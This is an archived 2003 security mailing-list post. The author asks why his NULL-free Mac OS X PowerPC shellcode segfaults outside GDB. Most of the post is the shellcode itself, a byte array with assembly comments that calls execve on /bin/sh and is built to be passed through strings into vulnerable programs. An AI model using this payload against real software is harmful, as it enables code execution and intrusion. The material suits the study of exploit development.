Mac OS X shellcode and SIGTRAP

From: David Riley (oscar@the-rileys.net)
Date: Fri May 23 2003 - 23:15:54 PDT

  • Next message: Joel Eriksson: "Re: Frame Pointer Overwriting"

    I'm trying to use ghandi's OS X shellcode to get started on some 
    development.  More specifically, I'm modifying it not to use NULL chars 
    so I can pass it though strings.  I've got it working so far, except 
    that any application I try it with straight from the shell (i.e. 
    ./a.out `cat code`) dies with a segfault, and when I run it with GDB, I 
    get a SIGTRAP in __dyld__dyld_start (which is where syscall 11/59 seem 
    to branch to).  If I just continue in GDB, it goes through and launches 
    the shell like it's supposed to.  What am I doing wrong?  Here's the 
    code:
    
    char shellcode[] =
    "\x7c\xa5\x2a\x78"  /* xor.   r5, r5, r5    ; r5 = NULL           */
    "\x7f\xe8\x02\xa6"  /* mflr   r31                                 */
    "\x38\x65\x04\xf0"  /* addi   r3, r5, 0x4f << 4                   */
    "\x7c\x63\x26\x70"  /* srawi  r3, r3, 4                           */
    "\x7c\xA3\xf9\xae"  /* stbx   r5, r3, r31 (terminate /bin/sh)     */
    "\x38\x65\x04\x50"  /* addi   r3, r5, 0x45 << 4                   */
    "\x7c\x63\x26\x70"  /* srawi  r3, r3, 4                           */
    "\x7c\xA3\xfb\x2e"  /* sthx   r5, r3, r31 (fix sc)                */
    "\x40\xa2\xff\xfd"  /* bnel   shellcode                           */
    "\x7f\xe8\x02\xa6"  /* mflr   r31                                 */
    "\x3b\xff\x01\x30"  /* addi   r31, r31, 268+36                    */
    "\x38\x7f\xfe\xf4"  /* addi   r3, r31, -268 ; r3 = path           */
    "\x90\x61\xff\xf8"  /* stw    r3, -8(r1)    ; argv[0] = path      */
    "\x90\xa1\xff\xfc"  /* stw    r5, -4(r1)    ; argv[1] = NULL      */
    "\x38\x81\xff\xf8"  /* subi   r4, r1, 8     ; r4 = {path, 0}      */
    "\x3b\xc0\x76\x01"  /* li     r30, 30209                          */
    "\x7f\xc0\x4e\x70"  /* srawi  r0, r30, 9                          */
    "\x44\xff\xff\x02"  /* sc                   ; execve(r3, r4, r5)  */
       "/bin/sh";
    
    By the way, I copy the shellcode into a file, removing the NULL 
    terminator from "/bin/sh" so it won't hang there (and I know this works 
    because of the aforementioned success with GDB).
    
    Original source of OS X (Darwin) shellcode (credit where due):
    	http://www.dopesquad.net/security/shellcode/ppc/execve_binsh.h
    
    Thanks in advance,
    	David
    



    This archive was generated by hypermail 2b30 : Sat May 24 2003 - 08:33:37 PDT